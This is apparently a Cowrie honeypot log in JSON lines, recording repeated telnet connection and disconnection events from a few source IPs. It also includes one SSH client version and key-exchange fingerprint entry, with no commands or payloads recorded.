{"eventid":"cowrie.session.closed","duration":31.350707054138184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.599760Z","src_ip":"51.161.172.108","session":"6e566e10b740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59494,"dst_ip":"159.203.135.109","dst_port":23,"session":"1021b29e20c4","protocol":"telnet","message":"New connection: 51.161.172.108:59494 (159.203.135.109:23) [session: 1021b29e20c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.741400Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59490,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f42cb953a56","protocol":"telnet","message":"New connection: 51.161.172.108:59490 (159.203.135.109:23) [session: 6f42cb953a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.822486Z"}
{"eventid":"cowrie.session.closed","duration":31.41491937637329,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.827745Z","src_ip":"51.161.172.108","session":"76ba1c458059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53436040878296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:33.933953Z","src_ip":"51.161.172.108","session":"41ca1d9375c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59506,"dst_ip":"159.203.135.109","dst_port":23,"session":"77b5d68884df","protocol":"telnet","message":"New connection: 51.161.172.108:59506 (159.203.135.109:23) [session: 77b5d68884df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.042533Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59514,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca8ba0b70266","protocol":"telnet","message":"New connection: 51.161.172.108:59514 (159.203.135.109:23) [session: ca8ba0b70266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.126261Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59542,"dst_ip":"159.203.135.109","dst_port":23,"session":"185ab5ea372d","protocol":"telnet","message":"New connection: 51.161.172.108:59542 (159.203.135.109:23) [session: 185ab5ea372d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.304310Z"}
{"eventid":"cowrie.session.closed","duration":31.04893970489502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.309165Z","src_ip":"51.161.172.108","session":"1d5340da45d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.269736766815186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.365508Z","src_ip":"51.161.172.108","session":"5bcff989c060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88047981262207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.374835Z","src_ip":"51.161.172.108","session":"573de7932da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59546,"dst_ip":"159.203.135.109","dst_port":23,"session":"da2347ca5f66","protocol":"telnet","message":"New connection: 51.161.172.108:59546 (159.203.135.109:23) [session: da2347ca5f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.581931Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59566,"dst_ip":"159.203.135.109","dst_port":23,"session":"071bdcd8e7de","protocol":"telnet","message":"New connection: 51.161.172.108:59566 (159.203.135.109:23) [session: 071bdcd8e7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.678681Z"}
{"eventid":"cowrie.session.closed","duration":31.075172662734985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.738562Z","src_ip":"51.161.172.108","session":"46afa05a9872","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":52744,"dst_ip":"159.203.135.109","dst_port":23,"session":"460dc2630517","protocol":"telnet","message":"New connection: 167.99.38.72:52744 (159.203.135.109:23) [session: 460dc2630517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:34.866462Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59590,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f6539c57219","protocol":"telnet","message":"New connection: 51.161.172.108:59590 (159.203.135.109:23) [session: 5f6539c57219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.031417Z"}
{"eventid":"cowrie.session.closed","duration":32.30795764923096,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.144481Z","src_ip":"51.161.172.108","session":"8ca50ef6540e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891260147094727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.226931Z","src_ip":"51.161.172.108","session":"02ea085dfd6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59536,"dst_ip":"159.203.135.109","dst_port":23,"session":"8835f7b75404","protocol":"telnet","message":"New connection: 51.161.172.108:59536 (159.203.135.109:23) [session: 8835f7b75404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.318190Z"}
{"eventid":"cowrie.session.closed","duration":30.950241804122925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.376620Z","src_ip":"51.161.172.108","session":"4be7c45906d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914451599121094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.522390Z","src_ip":"51.161.172.108","session":"29577331689c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59622,"dst_ip":"159.203.135.109","dst_port":23,"session":"2335eb78bb89","protocol":"telnet","message":"New connection: 51.161.172.108:59622 (159.203.135.109:23) [session: 2335eb78bb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.533805Z"}
{"eventid":"cowrie.session.closed","duration":31.79448962211609,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.567221Z","src_ip":"51.161.172.108","session":"26b500dd8778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59626,"dst_ip":"159.203.135.109","dst_port":23,"session":"5120aa05dd73","protocol":"telnet","message":"New connection: 51.161.172.108:59626 (159.203.135.109:23) [session: 5120aa05dd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.581625Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59606,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b731b81fc0","protocol":"telnet","message":"New connection: 51.161.172.108:59606 (159.203.135.109:23) [session: 12b731b81fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.618370Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59624,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf17ef4e73d3","protocol":"telnet","message":"New connection: 51.161.172.108:59624 (159.203.135.109:23) [session: cf17ef4e73d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.660271Z"}
{"eventid":"cowrie.session.closed","duration":31.435072898864746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.955213Z","src_ip":"51.161.172.108","session":"94a3bae6c5dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.27517890930176,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:35.967370Z","src_ip":"185.26.126.47","session":"d12cdfcebc46","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.324541Z","src_ip":"122.168.114.167","session":"3519a9e58fd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.329295Z","src_ip":"122.168.114.167","session":"3519a9e58fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59660,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d0e7ec1da65","protocol":"telnet","message":"New connection: 51.161.172.108:59660 (159.203.135.109:23) [session: 5d0e7ec1da65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.344727Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59654,"dst_ip":"159.203.135.109","dst_port":23,"session":"32f1ca49a938","protocol":"telnet","message":"New connection: 51.161.172.108:59654 (159.203.135.109:23) [session: 32f1ca49a938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.378876Z"}
{"eventid":"cowrie.session.closed","duration":30.931346654891968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.432341Z","src_ip":"51.161.172.108","session":"9442a74c7dad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879052877426147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.487791Z","src_ip":"51.161.172.108","session":"d1f957c7792a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59692,"dst_ip":"159.203.135.109","dst_port":23,"session":"698217ab4989","protocol":"telnet","message":"New connection: 51.161.172.108:59692 (159.203.135.109:23) [session: 698217ab4989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.503560Z"}
{"eventid":"cowrie.session.closed","duration":30.93460202217102,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.578986Z","src_ip":"51.161.172.108","session":"27bfb770dee4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.640457153320312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.714041Z","src_ip":"51.161.172.108","session":"0abbd6f4085f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59696,"dst_ip":"159.203.135.109","dst_port":23,"session":"870bef492365","protocol":"telnet","message":"New connection: 51.161.172.108:59696 (159.203.135.109:23) [session: 870bef492365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.753286Z"}
{"eventid":"cowrie.session.closed","duration":31.455409288406372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.846685Z","src_ip":"51.161.172.108","session":"7fd6815c476b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44097113609314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:36.978629Z","src_ip":"51.161.172.108","session":"a91001927c1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890878438949585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.193850Z","src_ip":"51.161.172.108","session":"537248389840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59720,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7db7157e36a","protocol":"telnet","message":"New connection: 51.161.172.108:59720 (159.203.135.109:23) [session: d7db7157e36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.232113Z"}
{"eventid":"cowrie.session.closed","duration":31.25381565093994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.237004Z","src_ip":"51.161.172.108","session":"5d104627ed11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107719898223877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.384446Z","src_ip":"51.161.172.108","session":"16689b4f7635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745571613311768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.391506Z","src_ip":"51.161.172.108","session":"2ab2a2522816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59724,"dst_ip":"159.203.135.109","dst_port":23,"session":"37b24d07fe00","protocol":"telnet","message":"New connection: 51.161.172.108:59724 (159.203.135.109:23) [session: 37b24d07fe00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.396794Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59598,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e865a1c8df9","protocol":"telnet","message":"New connection: 51.161.172.108:59598 (159.203.135.109:23) [session: 8e865a1c8df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.400248Z"}
{"eventid":"cowrie.session.closed","duration":31.002928495407104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.555206Z","src_ip":"51.161.172.108","session":"3f4742fb9070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59736,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4ca11c7173d","protocol":"telnet","message":"New connection: 51.161.172.108:59736 (159.203.135.109:23) [session: e4ca11c7173d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.562645Z"}
{"eventid":"cowrie.session.closed","duration":31.2008273601532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.592259Z","src_ip":"51.161.172.108","session":"0cd18aa5ad80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37174344062805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:37.633284Z","src_ip":"51.161.172.108","session":"7e6ecd4dbf77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59758,"dst_ip":"159.203.135.109","dst_port":23,"session":"25935bd7b63a","protocol":"telnet","message":"New connection: 51.161.172.108:59758 (159.203.135.109:23) [session: 25935bd7b63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:38.072427Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59774,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bf43b853bd5","protocol":"telnet","message":"New connection: 51.161.172.108:59774 (159.203.135.109:23) [session: 1bf43b853bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:38.109236Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59776,"dst_ip":"159.203.135.109","dst_port":23,"session":"7698f87ff7d6","protocol":"telnet","message":"New connection: 51.161.172.108:59776 (159.203.135.109:23) [session: 7698f87ff7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:38.125599Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59790,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae30d388e754","protocol":"telnet","message":"New connection: 51.161.172.108:59790 (159.203.135.109:23) [session: ae30d388e754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:38.278506Z"}
{"eventid":"cowrie.session.closed","duration":31.220208406448364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:38.417567Z","src_ip":"51.161.172.108","session":"f56411d6c786","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59806,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd89374e42d","protocol":"telnet","message":"New connection: 51.161.172.108:59806 (159.203.135.109:23) [session: cdd89374e42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:38.568855Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59818,"dst_ip":"159.203.135.109","dst_port":23,"session":"51ff6f4fa87e","protocol":"telnet","message":"New connection: 51.161.172.108:59818 (159.203.135.109:23) [session: 51ff6f4fa87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:38.655196Z"}
{"eventid":"cowrie.session.closed","duration":31.51446008682251,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:38.835804Z","src_ip":"51.161.172.108","session":"2810fc84ac12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28056263923645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:38.933274Z","src_ip":"51.161.172.108","session":"be0fa85c1e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00509810447693,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.083256Z","src_ip":"51.161.172.108","session":"26faa25f5f0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.854179859161377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.087897Z","src_ip":"51.161.172.108","session":"69dcb6298f88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59820,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c85a26c7dc1","protocol":"telnet","message":"New connection: 51.161.172.108:59820 (159.203.135.109:23) [session: 1c85a26c7dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.135155Z"}
{"eventid":"cowrie.session.closed","duration":31.275967359542847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.209811Z","src_ip":"51.161.172.108","session":"fddf65908ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993022203445435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.353164Z","src_ip":"51.161.172.108","session":"c3f36f1db660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52932,"dst_ip":"159.203.135.109","dst_port":23,"session":"7faefc4ccbd7","protocol":"telnet","message":"New connection: 51.161.172.108:52932 (159.203.135.109:23) [session: 7faefc4ccbd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.617812Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52938,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e91492263b3","protocol":"telnet","message":"New connection: 51.161.172.108:52938 (159.203.135.109:23) [session: 0e91492263b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.644859Z"}
{"eventid":"cowrie.session.closed","duration":31.163081169128418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.658129Z","src_ip":"51.161.172.108","session":"0111fdac5d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96247386932373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.689103Z","src_ip":"51.161.172.108","session":"1b7171fb67d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.675408363342285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.696365Z","src_ip":"51.161.172.108","session":"7d5c471c8f2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.898643970489502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.735650Z","src_ip":"51.161.172.108","session":"266217f38ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.43915009498596,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.880470Z","src_ip":"51.161.172.108","session":"eaa7c30fc601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52950,"dst_ip":"159.203.135.109","dst_port":23,"session":"72a7ef6199ae","protocol":"telnet","message":"New connection: 51.161.172.108:52950 (159.203.135.109:23) [session: 72a7ef6199ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.913780Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52966,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d9017c3bb35","protocol":"telnet","message":"New connection: 51.161.172.108:52966 (159.203.135.109:23) [session: 4d9017c3bb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:39.952864Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52968,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c0eea1cd5e","protocol":"telnet","message":"New connection: 51.161.172.108:52968 (159.203.135.109:23) [session: 68c0eea1cd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:40.079092Z"}
{"eventid":"cowrie.session.closed","duration":31.71822214126587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:40.085607Z","src_ip":"51.161.172.108","session":"321db150fa2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.265888214111328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:40.346902Z","src_ip":"51.161.172.108","session":"9d2ddfe99939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52994,"dst_ip":"159.203.135.109","dst_port":23,"session":"51ad222e0c8b","protocol":"telnet","message":"New connection: 51.161.172.108:52994 (159.203.135.109:23) [session: 51ad222e0c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:40.358063Z"}
